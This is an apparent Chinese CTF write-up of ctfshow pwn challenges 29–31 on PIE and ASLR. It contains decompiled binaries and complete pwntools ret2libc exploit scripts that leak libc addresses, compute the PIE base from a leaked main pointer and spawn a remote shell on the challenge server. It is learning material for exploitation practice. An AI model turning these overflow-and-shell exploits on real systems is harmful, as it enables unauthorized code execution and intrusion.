什么是PIE
由于ASLR是一种操作系统层面的技术,而二进制程序本身是不支持随机化加载的,便出现了一些绕过方法,例如ret2plt、GOT劫持、地址爆破等。于是,人们于2003年引入了位置无关可执行文件(Position-Independent Executable,PIE)。它在应用层的编译器实现,通过将程序编译为位置无关代码(Position-Independent Code,PIC),使程序可以被加载到任意位置,就像是一个特殊的共享库。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大增加了利用难度。然而在增加安全性的同时,PIE也会一定程度上影响性能,因此在大多数操作系统上PIE仅用于一些对安全性要求比较高的程序。
pwn29
首先还是先把pwn文件下载下来拖进虚拟机,加上可执行权限之后使用checksec命令查看文件信息。
chmod +x pwn
checksec pwn
pwn文件是64位,并且PIE是开启的,那就扔到ida64反编译看下源码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[4]; // [rsp+4h] [rbp-1Ch] BYREF
void *ptr; // [rsp+8h] [rbp-18h]
void *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
ptr = malloc(4uLL);
v6 = dlopen("./libc-2.27.so", 258);
puts(s);
puts(asc_B10);
puts(asc_B90);
puts(asc_C20);
puts(asc_CB0);
puts(asc_D38);
puts(asc_DD0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Please confirm your ASLR level first ! ");
puts(" * ************************************* ");
system("echo 2 > /proc/sys/kernel/randomize_va_space");
puts("Here is your ASLR level:");
system("cat /proc/sys/kernel/randomize_va_space");
puts("Let's take a look at protection:");
system("checksec pwn");
printf("executable: %p\n", main);
printf("system@plt: %p\n", &system);
printf("heap: %p\n", ptr);
printf("stack: %p\n", v4);
puts("As you can see, the protection has been fully turned on and the address has been completely randomized!");
puts("Here is your flag:");
puts("ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}");
free(ptr);
return 0;
}
大致逻辑就是,先把/proc/sts/kernel/randomize_va_space的内容更改为2,也就是将ASLR全开启,然后输出了main函数和system函数的地址,有输出了变量的堆栈的信息,最后打印一条消息,说明所有的保护机制都开了,地址全部都是随机化的!然后就会为我们输出flag了。
刚开始我还感觉这个flag是假的,提交发现这是正确的flag。这不就运行即拿flag,一点难度都没有~~
pwn30
首先还是先把pwn文件下载下来拖进虚拟机,加上可执行权限之后使用checksec命令查看文件信息。
chmod +x pwn
checksec pwn
是32位的程序,并且PIE和canary没有开启,NX开启了。先丢进ida反编译一下。
// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow(&argc);
puts(asc_8048710);
puts(asc_8048784);
puts(asc_8048800);
puts(asc_804888C);
puts(asc_804891C);
puts(asc_80489A0);
puts(asc_8048A34);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No Canary found & No PIE ");
puts(" * ************************************* ");
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
// ctfshow
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
这道题没有给我们预留后门,也没有system函数,但是plt表中有puts函数。所以我们还得使用pwn25题目的ret2lib方式来打通这道题目,因为这个程序的PIE是关闭的,并且canary也没开,ret2libc方便些。
exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote("pwn.challenge.ctf.show", "28176")
elf = ELF("./pwn")
offset = 0x88 + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
print hex(libc_base)
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * 'a' + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
p.sendline(payload)
python exp.py
成功拿到flag!
pwn31
MD,这道题对我这个初学者来说确实有难度啊~
肝了一天,找各种资料,终于找到绕过PIE的方法了。由于我也是初学者,目前对这些的理解还不是很彻底,所以本篇文章还是只研究wp如何拿到flag,具体绕过pie的原理等以后理解深刻了有时间再详细给大家介绍!
首先还是先把pwn文件下载下来拖进虚拟机,加上可执行权限之后使用checksec命令查看文件信息。
chmod +x pwn
checksec pwn
32位的,RELRO和PIE都已经开启,NX也开启了,但是没有开canary保护,先弄进ida反编译下。
// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
printf("%p\n", main);
ctfshow(&argc);
puts(asc_854);
puts(asc_8C8);
puts(asc_944);
puts(asc_9D0);
puts(asc_A60);
puts(asc_AE4);
puts(asc_B78);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Bypass ALSR & PIE ");
puts(" * ************************************* ");
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
// ctfshow
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
代码跟上道题目的代码都一样,函数也一样,就是开启了PIE和RELRO保护。
开启了PIE,就代表了地址随机化,我们就不能像上道题目一样直接来个ret2libc梭哈了~_~
但是我们仔细看源码发现,这个程序是给我们输出了个main函数的地址,这样就泄露了main函数的地址,我们就可以拿着它减去main函数的地址获得函数地址的偏移量了,然后拿着程序里的其他函数的地址加上这个偏移量就能拿到程序里函数在内存中的地址了。
然后呢,我们再利用程序的puts函数输出got表中puts函数的地址,利用LibcSearcher模块根据puts函数的地址就能到puts函数在libc中的偏移,进而得到libc中system函数的地址以及字符串"/bin/sh"的地址了,这样我们再重新构造payload,就能得到目标服务器的权限了!
计算溢出偏移量
我们首先使用gdb打开pwn,然后使用命令cyclic 200输出200个无用字符,复制它们。
gdb pwn
cyclic 200
接着输入r命令运行程序,这时程序会让我们输入数据,我们就把我们之前的到的200个无用字符复制进去进行了。这时程序由于栈溢出就会爆出错误,程序会给出一个无效地址,就是因为这个地址是无效的,所以我们的程序才会报错,其实这个无效地址就是被我们覆盖的ctfshow函数的返回地址。
然后我们使用命令cyclic -l 0x6261616,就可以知道这个地址的偏移量,我们也就获得了栈溢出的偏移量了。
cyclic -l 0x6261616b
可以看到,偏移量为140。
编写exp.py
拿到真实的main地址
这个程序已经帮我们打印,我们直接接收就行了:
from pwn import *
context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", "28123")
main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
获得函数地址的偏移量
我们获得了内存中真实的main地址,再减去程序中的main函数的地址就能得到程序中函数在内存中的偏移了。
from pwn import *
context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")
main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
通过got表中puts函数的地址打印出puts函数真实的地址
from pwn import *
context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")
main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)
解释一下payload:
首先是132 * ‘a’ ,大家可能会有疑惑不应该是140嘛怎么是132?
这是因为,在ctfshow函数了,函数的最后有一个mov ebx,DWORD PTR[ebp-0x4]
我们必须将这个ebx恢复而不能进行覆盖,而那140的长度是包含ebp,所以我们132 + ebx的长度为132+4,距离140还差4个长度,我们需要再补充4个没用的字符’a’ 。
那么ebx是怎么得来的呢?是通过__x86.get_pc_thunk.bx这个东西得来的,这个东西的作用是将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。这个pwn程序的GOT表地址为0x1fc0,则ebx = base_addr + 0x1fc0
通过readelf -S pwn查看got表的地址
readelf -S pwn
payload之后就是加上puts函数的地址+ctfshow函数的地址(这个地址是作为puts函数的返回地址的,等到puts函数执行完,会再次进入ctfshow函数,我们又可以继续利用溢出漏洞了),之后再加上puts函数的参数,即got表puts函数的地址。
找到libc,通过libc找到system、/bin/sh
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")
main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
再次构建payload,getshell!
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")
main_real_addr = int(p.recv().strip(),16)
print hex(main_real_addr)
base_addr = main_real_addr - elf.sym['main']
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * 'a' + p32(ebx) + 'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = 140 * 'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()
拿到shell,列出目录,发现flag直接cat读取!
成功拿到flag!!!终于肝出来了++
不得不说,这道题一点都不基础^_^